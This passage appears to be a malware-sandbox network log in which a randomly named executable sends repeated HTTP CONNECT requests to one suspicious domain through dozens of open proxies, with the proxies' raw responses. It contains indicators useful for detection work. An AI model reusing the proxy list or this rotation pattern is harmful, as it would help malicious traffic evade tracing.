559	192.168.2.4	51764	141.94.174.6	3096	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.162992954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
560	192.168.2.4	51854	67.43.227.227	18963	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.163175106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
561	192.168.2.4	51859	23.19.244.109	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.163506985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
562	192.168.2.4	51825	207.244.252.14	54190	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.163510084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.586987019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
563	192.168.2.4	51862	104.16.104.12	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.163741112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.251611948 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
564	192.168.2.4	51767	113.30.149.76	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.164169073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
565	192.168.2.4	51869	91.231.186.133	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.164453030 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
566	192.168.2.4	51799	74.119.144.60	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.164485931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
567	192.168.2.4	51705	58.234.116.197	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.164694071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
568	192.168.2.4	51737	93.126.56.30	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.165245056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
569	192.168.2.4	51789	185.245.60.10	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.165932894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.680803061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.366280079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.475079060 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.680536032 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.865900993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.975218058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.178868055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
570	192.168.2.4	51699	115.171.217.48	7891	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.166168928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.865708113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.866157055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
571	192.168.2.4	51758	45.239.175.19	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.169933081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.378447056 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.4	51795	51.210.45.148	8772	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.170489073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.4	51803	94.241.173.37	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.180061102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.4	51703	210.209.236.26	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.180529118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.516313076 CET	326	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.4	51794	45.159.189.244	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.181365967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
576	192.168.2.4	51687	69.231.162.161	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.183592081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.558223009 CET	146	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.7 Server: squid/4.10 Content-Length: 0
Feb 23, 2024 09:45:21.931250095 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy54-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:
Feb 23, 2024 09:45:21.931647062 CET	628	IN	HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 509<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>zhy50-HG100-1</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://211.93.21.5:9080/error.html"; }</script> </head> <body> <iframe id="mainFrame" src="" frameborder="0" width="100%" height="100%"></iframe> </body></html Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
577	192.168.2.4	51755	94.20.183.172	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.193866968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
578	192.168.2.4	51541	183.234.215.11	8443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.198040962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.852457047 CET	314	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.24.0 Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 157 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.24.0</center></body></html>
Feb 23, 2024 09:45:23.166928053 CET	314	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.24.0 Date: Fri, 23 Feb 2024 08:45:20 GMT Content-Type: text/html Content-Length: 157 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
579	192.168.2.4	51844	45.81.232.17	48085	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.208529949 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.724931955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
580	192.168.2.4	51777	93.90.212.2	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.222162008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
581	192.168.2.4	50853	115.244.127.160	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.225159883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
582	192.168.2.4	51735	103.53.170.199	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.226632118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.943783998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.030405045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.022423029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
583	192.168.2.4	51738	59.15.28.76	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.234407902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.943783998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:03.738174915 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
584	192.168.2.4	51797	95.56.254.139	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.270817041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.974914074 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.866034031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.141721010 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
585	192.168.2.4	51891	203.22.223.12	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.275784016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.363050938 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
586	192.168.2.4	51751	27.77.237.93	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.276767015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
587	192.168.2.4	51745	120.79.101.0	8888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.281549931 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com
Feb 23, 2024 09:45:21.626554012 CET	309	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.25.0 Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.25.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
588	192.168.2.4	51920	104.16.241.204	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.283269882 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.587028980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.683094025 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
589	192.168.2.4	51917	104.19.106.122	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.283286095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.376174927 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
590	192.168.2.4	51786	8.213.129.15	20000	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.284126997 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.581521034 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
591	192.168.2.4	51788	123.126.158.50	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:21.290515900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
